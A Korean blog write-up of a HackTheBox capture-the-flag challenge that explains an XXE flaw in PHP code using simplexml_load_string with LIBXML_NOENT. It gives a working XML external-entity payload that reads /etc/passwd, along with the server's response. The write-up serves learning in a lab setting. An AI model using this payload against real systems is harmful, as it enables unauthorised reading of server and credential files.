HackTheBox baby WAFfles order write-up
2021. 4. 14. 18:17
이 문제는 소스코드가 제공되는 줄 모르고 계속 삽질하다가 포기했었다. 근데 다시 보니까 소스코드가 있었고, 한 3분만에 풀었다.
소스 분석
문제에서 제공된 index.php 의 소스코드는 아래와 같다.
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
include_once "${name}.php";
});
$router = new Router();
$router->new('GET', '/', fn($router) => $router->view('menu'));
$router->new('POST', '/api/order', 'OrderController@order');
die($router->match());
/api/order로 요청하여 food와 option을 출력해주는 것을 알 수 있다. /api/order에는 OrderController의 order 메소드가 매핑되어 있다.
<?php
class OrderController
{
public function order($router)
{
$body = file_get_contents('php://input');
if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
{
$order = json_decode($body);
if (!$order->food)
return json_encode([
'status' => 'danger',
'message' => 'You need to select a food option first'
]);
return json_encode([
'status' => 'success',
'message' => "Your {$order->food} order has been submitted successfully."
]);
}
else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')
{
$order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);
if (!$order->food) return 'You need to select a food option first';
return "Your {$order->food} order has been submitted successfully.";
}
else
{
return $router->abort(400);
}
}
}
order 메소드에서는 두 가지 Content-Type을 받는다. application/json 에서는 Reflected XSS를 제외하고 취약점이 될만한게 없다. application/xml 에서는 XXE가 가능하다. xml를 파싱할 때는 simplexml_load_string()를 사용하는데 이 함수는 보통의 경우 XML Entity를 함께 파싱하지 않아서 XXE에 취약하지 않다. 그래서 리얼월드에서 만나면 가장 김빠지는 함수 중 하나인데, 해당 문제에는 LIBXML_NOENT 옵션이 주어져있다. 따라서 XML Entity를 파싱할 수 있게 되었고 Entity를 통해 Arbitary File Read가 가능해지고, 이를 통해 flag를 얻을 수 있다.
익스플로잇.
Arbtary File Read에 대한 Exploit code는 다음과 같다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY internal SYSTEM 'file:///etc/passwd'>]>
<xml>
<food>asdf&internal;</food>
<option>
asdf
</option>
</xml>
아래와 같은 Response를 받았다.
Your asdfroot:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
www:x:1000:1000:1000:/home/www:/bin/sh
nginx:x:101:101:nginx:/var/lib/nginx:/sbin/nologin
order has been submitted successfully.
/flag에 flag가 저장되어 있으니 그것을 읽으면 된다.
'write-ups' 카테고리의 다른 글
HackTheBox baby breaking grad write-up (0) | 2021.04.15 |
---|---|
HackTheBox baby todo or not todo write-up (0) | 2021.04.14 |
backdoor Secret area write up (0) | 2018.03.16 |
root-me.org path truncation write-up (0) | 2017.10.16 |
동명대학교 워게임 SQL Injection level 5 write up (0) | 2017.05.11 |